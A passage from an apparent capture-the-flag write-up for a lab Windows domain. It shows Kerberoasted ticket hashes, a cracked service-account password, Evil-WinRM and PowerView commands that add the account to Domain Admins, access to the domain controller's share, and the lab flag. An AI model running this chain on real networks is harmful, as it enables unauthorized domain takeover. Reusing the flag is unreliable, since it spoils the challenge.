0C6D3540A92912733A464DB22CFF699E7881A4ABDA30916C546D1B54B015E1347F92DDE8301E5ADD9F07535C4312DF73
677F15DF89DC7532B631E3730846991D55429128D05A8717E892A7FBA38086B501F3CE6109A8E8470FE5917E77D936B6
3F1212BC193A1EF3EF37AFCE5BD02E20CE3D8C3D756F57416025F9BF157D4D284DC48662D4E3DDCF4958B5F1AB1D4EDF
344D1B5D5AE73F558FBD0681712EDC3A336ADD3D755DB210B1519CF309335FE50D971ADA2A6F13C0494CE8F75677A62C
37C9C917A2C3575F2C4D6767644E2583A1854880D3E13C7C54B3593994C0DF79F20C21E3DD2D7514CFA3EB16E3657407
000740F3A35BF3DE4965F62CF1E617ED850DEA23DE5C624A89C3204FA067B3EBC48C499E4A56B9298AA862DAF58894FF
7301206A60633FDDE80D59C4D97FDF42915206762A0EB1F52C3388EDD5D704448F2B51FB796EF0A60A8168F59C63A
SamAccountName : p00_hr
DistinguishedName : CN=p00_hr,CN=Users,DC=intranet,DC=poo
ServicePrincipalName : HR_peoplesoft/intranet.poo:1433
NULL
TicketByteHexStream :
Hash : $krb5tgs$23$*p00_adm$intranet.poo$cyber_audit/intranet.poo:443*$A4E0C3EAFB451D4D9F965EA3A985EEBC
$0232185FAEC205E5B5BE9821F00828CA5B5A233C74F5685FBB87C39F9ED45C53977050125F4554AD7379299C1B643B3
3E38BB0DEC72FA7C3F44B4E34F82B76E5728E62CD35F2AA3D464217C354FD90CF9AE973122106BFAF46EE90398AE7BDE
DE606B419223AB59A2C41B2715C6025503ADD7A0247FFE97A7BE39481268378A272C590E4681E9F6F3F5B29FD5CAF831
C8E6931581A1054BCF3B9575A1648E1B35CC12AC752AD043A48CF12AAA909160CF1CA9F6C67BFA21D9EED5C0AEAC65D5
127972FB63EF0D2D62F7506E8BE4845B141BA3F792EE457623302802E1995B1F73D9250EBA681337104EF0D588CEFBB6
CCB619F37E0CDE0603CDED958CC497D56A3FBA12468A917D05A27B910DAAF704FD1B788CF6F46B7030861EF6619475BA
70258C4B2A55D22DAFB56AA06D6023EDD0E757742960DEAB4A6FCBAC9BD53821B1CF68A1753364CC7C2108CCB8813F68
F3FB4B4146EAB929E2BF0F51B6F6EAE7E79B93B19376E6F9EB2C8CE3DCAF1EC7355893C28E750DDB55DBD06ED985D736
C94780582A245D0B5D0D6550FED5A0CCA455C27044B5D3507A01F37A749D00D130DBAF24D6868DF815DFD83BD259027D
59490BC46BC35924BE22614280BC7D83915B823E3BCA95EBE436CB1E25F0D0E977CD496BC7739633702CC2389A2F1D95
631BD86AEDE3149EA4519FF4EE1AAD6703425FAAA71A9863D3658759B3FB4771BD903A08D3C5904A2AFD32067576D9FC
505C35262BB6449908D20446A4DBFD4259740CD1029473A69853ADB9BDCD7C7B5338CBA7B1512479ED5BB11EEA14CD28
49B20D8E25079B5C1903F4E96A17B2BA4E31F81A6CE6974DF59412A27E3895055F89F39375AA522AB2F8CE3E8288C3CB
86F582021CFF5515AC1A210682F5529613EE98866D87FEE5751FDDAF3976F5005C84F7A3957475701025DEEF85986E3C
6EA0AA366AE8C0E7CF2C893D39E0044501FF8CF215621B996AA5A6C635D55726A89B85E324F876CDDED17C9E21A254BF
36C1A39C02E00D2D6107B1A7A1F7866CBDDD73A322D3D28EB636BC28A860E6407AF9752B02ED2E3AA70471AC5EB4568B
2C959AB638C8D731296C5F935215CF87A6EDF45E971E6B32C11BB1BB42850F5CA81DA80C0C95F7963B942634E1320D14
6C35D24C8A8FDA030CC6FF7EB0FB407FAB84FFE5634E1D2250F9D9551392B5946FF6250E9A54545EBE454F2558529A09
151CF8D7AEB2DF16EE44491E2CAB0D227D1AB0FFDCE2514E1F73E38B6C719F112A47D54190B67C98D8A66091AF0D6934
57A7D14FC88C1B21C2CA26131CDF73D2F15E49E696CF28E48A17F78EF6B9F9403D8470FE41DCA4A3B222A9786C8CB4CE
404EDFA0CCDEE0A6244FB8EB06791F82FFDC068E4E1D65FBC443EAD109A0DB8E396CBD5C894D66023C699561DEB69F66
89D60E0177467DE72B73201505BC4091D6FE69CE49C016E400F110A6481DDCB396710E25DA5D9BA500EAF611ADB
SamAccountName : p00_adm
DistinguishedName : CN=p00_adm,CN=Users,DC=intranet,DC=poo
ServicePrincipalName : cyber_audit/intranet.poo:443
NULL
NULL
NULL
NULL
Then we can get 2 account hash here
We can successfully crack the password of p00_adm
p00_adm:ZQ!5t4r
Now I can use the p00_adm account and add it to the Domain Admins group. I will upload PowerView.ps1 and import it:
*Evil-WinRM* PS C:\programdata> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\programdata\PowerView.ps1
Data: 1027244 bytes of 1027244 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> Import-Module .\PowerView.ps1
Create a PSCredential object and then add p00_adm to the domain administrators
*Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString 'ZQ!5t4r' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('intranet.poo\p00_adm', $pass)
*Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'p00_adm' -Credential $cred
Since p00_adm is now a domain administrator, it can access the c$ share on the DC:
*Evil-WinRM* PS C:\programdata> net use \\DC.intranet.poo\c$ /u:intranet.poo\p00_adm 'ZQ!5t4r'
The command completed successfully.
*Evil-WinRM* PS C:\programdata> dir \\DC.intranet.poo\c$\users\
Directory: \\DC.intranet.poo\c$\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/15/2018 1:20 AM Administrator
d----- 3/15/2018 12:38 AM mr3ks
d-r--- 11/21/2016 3:24 AM Public
Now I can grab the flag, which I find on mr3ks's desktop:
*Evil-WinRM* PS C:\programdata> type \\DC.intranet.poo\c$\users\mr3ks\desktop\flag.txt
POO{1196ef8bc523f084ad1732a38a0851d6}
Description
The use of mssql database is very interesting